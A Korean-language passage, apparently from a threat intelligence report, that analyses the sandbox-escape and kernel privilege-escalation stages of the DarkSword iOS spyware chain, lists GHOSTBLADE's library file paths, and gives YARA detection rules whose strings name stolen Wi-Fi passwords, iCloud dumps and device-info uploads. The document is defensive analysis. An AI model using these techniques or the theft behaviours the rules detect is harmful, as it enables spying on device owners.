Safari에서 GPU 프로세스는 WebContent 샌드박스보다 더 많은 권한을 가지지만, 여전히 시스템의 나머지 대부분에는 접근이 제한됩니다. 이 제한을 우회하기 위해 DarkSword는 XNU의 메모리 관리 취약점인 CVE-2025-43510을 악용하는 또 다른 샌드박스 탈출 익스플로잇인 sbx1_main.js를 사용합니다. 이는 기록 시 복사(Copy-on-write) 버그로, 이를 악용하여 Safari GPU 프로세스보다 더 많은 권한을 가진 시스템 서비스인 mediaplaybackd 내에 임의의 함수 호출 원시 요소를 구축하고, 여기서 필요한 최종 익스플로잇을 실행할 수 있습니다. 공격자들은 mediaplaybackd 프로세스에 JavaScriptCore 런타임 복사본을 로드하고, 그 안에서 다음 단계의 익스플로잇을 실행하는 방식을 사용합니다.
이 취약점은 애플이 iOS 18.7.2 및 26.1에서 패치했습니다.
로컬 권한 상승 및 최종 페이로드
마지막으로, 익스플로잇은 pe_main.js라는 최종 모듈을 로드합니다. 이는 XNU의 가상 파일 시스템(VFS) 구현에 존재하는 커널 모드 경쟁 조건(Race condition)인 CVE-2025-43520을 사용하며, 물리적 및 가상 메모리 읽기/쓰기 원시 요소를 구축하는 데 악용될 수 있습니다. 이 취약점은 애플이 iOS 18.7.2 및 26.1에서 패치했습니다.
이 익스플로잇에는 원시 메모리를 조작하고 네이티브 함수를 호출하기 위한 추상화(Abstractions)를 제공하는 Native 클래스와 POSIX 유사 파일 시스템 API를 제공하는 FileUtils 클래스 등 원시 요소 위에 구축되어 다양한 익스플로잇 후(Post-exploitation) 페이로드에서 사용되는 라이브러리 클래스 제품군이 포함되어 있습니다. 분석된 GHOSTBLADE 샘플에 적용된 웹팩(Webpack) 프로세스에서 남겨진 아티팩트(Artifacts)에는 디스크 상의 이러한 라이브러리 구조를 보여주는 파일 경로가 포함되어 있었습니다(그림 22).
우리는 코딩 스타일의 일관성과 라이브러리 코드와의 긴밀한 통합(이는 GHOSTKNIFE 및 GHOSTSABER가 해당 라이브러리를 활용한 방식과 눈에 띄게 다름)을 근거로 GHOSTBLADE가 DarkSword 개발자들에 의해 개발되었을 가능성이 높다고 평가합니다. 또한 PARS Defense에서 관찰된 샘플의 일부 익스플로잇 후 페이로드 라이브러리에서 원시 메모리 버퍼 조작과 같은 추가적인 수정 사항이 발견되었으며, 이는 후속 바이너리 모듈에서 사용되었을 가능성이 높습니다. 추가로, GHOSTBLADE의 라이브러리에는 구현되지 않은 startSandworm()이라는 함수에 대한 참조가 포함되어 있었는데, 우리는 이것이 다른 익스플로잇의 코드명일 수 있다고 의심하고 있습니다.
src/InjectJS.js
src/libs/Chain/Chain.js
src/libs/Chain/Native.js
src/libs/Chain/OffsetsStruct.js
src/libs/Driver/Driver.js
src/libs/Driver/DriverNewThread.js
src/libs/Driver/Offsets.js
src/libs/Driver/OffsetsTable.js
src/libs/JSUtils/FileUtils.js
src/libs/JSUtils/Logger.js
src/libs/JSUtils/Utils.js
src/libs/TaskRop/Exception.js
src/libs/TaskRop/ExceptionMessageStruct.js
src/libs/TaskRop/ExceptionReplyStruct.js
src/libs/TaskRop/MachMsgHeaderStruct.js
src/libs/TaskRop/PAC.js
src/libs/TaskRop/PortRightInserter.js
src/libs/TaskRop/RegistersStruct.js
src/libs/TaskRop/RemoteCall.js
src/libs/TaskRop/Sandbox.js
src/libs/TaskRop/SelfTaskStruct.js
src/libs/TaskRop/Task.js
src/libs/TaskRop/TaskRop.js
src/libs/TaskRop/Thread.js
src/libs/TaskRop/ThreadState.js
src/libs/TaskRop/VM.js
src/libs/TaskRop/VmMapEntry.js
src/libs/TaskRop/VMObject.js
src/libs/TaskRop/VmPackingParams.js
src/libs/TaskRop/VMShmem.js
src/loader.js
src/main.js
src/MigFilterBypassThread.js
그림 22: GHOSTBLADE 샘플의 파일 경로 아티팩트
전망 및 시사점
다양한 행위자들이 DarkSword와 Coruna를 모두 사용하고 있다는 사실은 지리적 위치나 동기와 관계없이 익스플로잇 확산 위험이 지속되고 있음을 보여줍니다. 구글은 이러한 문제를 완화하기 위해 지속적으로 노력하고 있으며, 그 일환으로 스파이웨어 산업의 피해를 제한하기 위한 국제적 합의와 진전을 목표로 하는 폴 몰 프로세스(Pall Mall Process)에 참여하고 있습니다. 우리는 이 강력한 기술들의 오용을 제한하고 전 세계의 인권을 보호하기 위해 국제적 규범과 프레임워크를 개발하는 데 집중하고 있습니다. 이러한 노력은 정부의 스파이웨어 사용을 제한하기 위한 미국 정부의 조치와 유사한 노력을 위한 최초의 국제적 약속 등 이전의 정부 차원 조치들을 기반으로 합니다.
감사의 글
이번 조사 과정 전반에 걸쳐 파트너십을 발휘해 주신 Lookout, iVerify, Google Project Zero, 그리고 애플 보안 엔지니어링 및 아키텍처(Apple Security Engineering & Architecture) 팀에 감사의 뜻을 전합니다.
침해 지표 (IOCs)
더 넓은 커뮤니티가 본 블로그 게시물에 기술된 활동을 추적하고 식별하는 데 도움을 주기 위해, 등록된 사용자를 대상으로 GTI 컬렉션(GTI Collection)에 침해 지표(IOCs)를 포함했습니다. 또한 GHOSTBLADE 샘플을 VirusTotal에 업로드했습니다.
파일 지표
탐지
YARA 규칙
rule G_Backdoor_GHOSTKNIFE_1 {
meta:
author = "Google Threat Intelligence Group (GTIG)"
strings:
$ = "server_pub_ex"
$ = "client_pri_ds"
$ = "getfilebyExtention"
$ = "getContOfFilesForModule"
$ = "carPlayConnectionState"
$ = "saveRecordingApp"
$ = "getLastItemBack"
$ = "the inherted class"
$ = "passExtetion"
condition:
filesize < 10MB and not (uint16be(0) == 0x504b or uint32be(0) == 0x6465780a or uint16be(0) == 0x4d5a or uint32be(0) == 0x377abcaf) and 4 of them
}rule G_Backdoor_GHOSTSABER_1 {
meta:
author = "Google Threat Intelligence Group (GTIG)"
strings:
$ = "sendDeviceInfoJson"
$ = "merge2AppLists"
$ = "send_command_to_upper_process"
$ = "ChangeStatusCheckSleepInterval"
$ = "SendRegEx"
$ = "evalJsResponse.json"
$ = "sendSimpleUploadJsonObject"
$ = "device_info_all"
$ = "getPayloadForSimpleStatusRequest"
condition:
filesize < 10MB and not (uint16be(0) == 0x504b or uint32be(0) == 0x6465780a or uint16be(0) == 0x4d5a or uint32be(0) == 0x377abcaf) and 4 of them
}rule G_Datamine_GHOSTBLADE_1 {
meta:
author = "Google Threat Intelligence Group (GTIG)"
strings:
$ = "/private/var/tmp/wifi_passwords.txt"
$ = "/private/var/tmp/wifi_passwords_securityd.txt"
$ = "/.com.apple.mobile_container_manager.metadata.plist" fullword
$ = "X-Device-UUID: ${"
$ = "/installed_apps.txt" fullword
$ = "icloud_dump_" fullword
condition:
filesize < 10MB and not (uint16be(0) == 0x504b or uint32be(0) == 0x6465780a or uint16be(0) == 0x4d5a or uint32be(0) == 0x377abcaf) and 3 of them
}rule G_Hunting_DarkSwordExploitChain_ImplantLib_FilePaths_1 {
meta:
author = "Google Threat Intelligence Group (GTIG)"
strings:
$ = "src/InjectJS.js"
$ = "src/libs/Chain/Chain.js"
$ = "src/libs/Chain/Native.js"
$ = "src/libs/Chain/OffsetsStruct.js"
$ = "src/libs/Driver/Driver.js"
$ = "src/libs/Driver/DriverNewThread.js"
$ = "src/libs/Driver/Offsets.js"
$ = "src/libs/Driver/OffsetsTable.js"
$ = "src/libs/JSUtils/FileUtils.js"
$ = "src/libs/JSUtils/Logger.js"
$ = "src/libs/JSUtils/Utils.js"
$ = "src/libs/TaskRop/Exception.js"
$ = "src/libs/TaskRop/ExceptionMessageStruct.js"
$ = "src/libs/TaskRop/ExceptionReplyStruct.js"
$ = "src/libs/TaskRop/MachMsgHeaderStruct.js"
$ = "src/libs/TaskRop/PAC.js"
$ = "src/libs/TaskRop/PortRightInserter.js"
$ = "src/libs/TaskRop/RegistersStruct.js"
$ = "src/libs/TaskRop/RemoteCall.js"
$ = "src/libs/TaskRop/Sandbox.js"
$ = "src/libs/TaskRop/SelfTaskStruct.js"
$ = "src/libs/TaskRop/Task.js"
$ = "src/libs/TaskRop/TaskRop.js"
$ = "src/libs/TaskRop/Thread.js"
$ = "src/libs/TaskRop/ThreadState.js"
$ = "src/libs/TaskRop/VM.js"
$ = "src/libs/TaskRop/VmMapEntry.js"
$ = "src/libs/TaskRop/VMObject.js"
$ = "src/libs/TaskRop/VmPackingParams.js"
$ = "src/libs/TaskRop/VMShmem.js"
$ = "src/MigFilterBypassThread.js"
condition:
any of them
}